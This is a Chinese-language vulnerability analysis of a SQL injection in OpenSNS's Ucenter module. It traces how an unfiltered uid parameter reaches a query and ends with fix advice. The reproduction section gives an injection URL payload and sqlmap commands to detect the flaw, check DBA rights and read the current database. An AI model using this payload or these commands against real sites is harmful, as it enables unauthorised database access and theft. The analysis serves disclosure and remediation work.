OpenSNS SQL注入(二)
字数 1084 2025-08-27 12:33:37
OpenSNS SQL注入漏洞分析报告
漏洞概述
OpenSNS是一款基于OneThink的轻量级社交化用户中心框架,采用PHP+MYSQL构建。本报告分析的SQL注入漏洞存在于OpenSNS的Ucenter模块中,允许攻击者通过精心构造的请求获取数据库敏感信息。
漏洞详情
漏洞位置
漏洞存在于以下文件和方法中:
- 文件路径:
./Application/Ucenter/Controller/IndexController.class.php - 相关方法:
getExpandInfo方法(调用_profile_group_list方法)_profile_group_list方法(调用getRoleFieldIds方法)getRoleFieldIds方法(存在SQL注入漏洞)
漏洞分析
-
调用链分析:
getExpandInfo方法(133行)调用_profile_group_list方法并传入$uid参数_profile_group_list方法(149行)调用getRoleFieldIds方法并传入$uid参数getRoleFieldIds方法(168行)直接将$uid参数拼接到SQL语句中,未做任何过滤处理
-
漏洞代码:
// 在getRoleFieldIds方法中 $sql = "SELECT field_id FROM `{$this->prefix}auth_extend` WHERE `type` = 'field' AND `group_id` in (SELECT group_id FROM `{$this->prefix}auth_group_access` WHERE uid = {$uid})"; -
漏洞利用点:
$uid参数直接拼接到SQL语句中,未使用预处理语句或进行过滤- 攻击者可以构造恶意
uid参数进行SQL注入攻击
漏洞复现步骤
-
注册账号:首先需要注册一个普通用户账号
-
登录系统:使用注册的账号登录系统,获取有效的会话cookie
-
构造恶意请求:
- 访问URL:
http://localhost/index.php?s=/ucenter/index/getExpandInfo&uid=1)*--+ - 携带有效的会话cookie
- 访问URL:
-
使用SQLMap进行自动化利用:
# 检测漏洞 sqlmap.py -u "http://localhost/index.php?s=/ucenter/index/getExpandInfo&uid=1)*--+" --cookie "PHPSESSID=xxx;opensns_OX_LOGGED_USER=xxx" --dbms "mysql" --batch # 检查是否为DBA sqlmap.py -u "http://localhost/index.php?s=/ucenter/index/getExpandInfo&uid=1)*--+" --cookie "PHPSESSID=xxx;opensns_OX_LOGGED_USER=xxx" --dbms "mysql" --batch --is-dba # 获取当前数据库 sqlmap.py -u "http://localhost/index.php?s=/ucenter/index/getExpandInfo&uid=1)*--+" --cookie "PHPSESSID=xxx;opensns_OX_LOGGED_USER=xxx" --dbms "mysql" --batch --current-db
漏洞危害
- 数据库信息泄露(表结构、数据内容)
- 可能获取管理员权限
- 可能导致服务器被完全控制
修复建议
-
使用预处理语句:
// 修改getRoleFieldIds方法中的SQL语句 $sql = "SELECT field_id FROM `{$this->prefix}auth_extend` WHERE `type` = 'field' AND `group_id` in (SELECT group_id FROM `{$this->prefix}auth_group_access` WHERE uid = ?)"; $field_ids = $this->db->query($sql, array($uid)); -
参数过滤:
// 对输入的uid参数进行强制类型转换 $uid = intval($uid); -
输入验证:
- 添加对
$uid参数的合法性检查 - 确保参数值符合预期格式
- 添加对
-
最小权限原则:
- 数据库连接使用最小必要权限的账户
- 限制Web应用对数据库的操作权限
总结
该漏洞是由于OpenSNS在getRoleFieldIds方法中直接将用户输入的$uid参数拼接到SQL语句中,未做任何过滤处理导致的SQL注入漏洞。攻击者可以利用此漏洞获取数据库敏感信息,甚至完全控制服务器。修复方案应优先考虑使用预处理语句,并对所有用户输入进行严格的验证和过滤。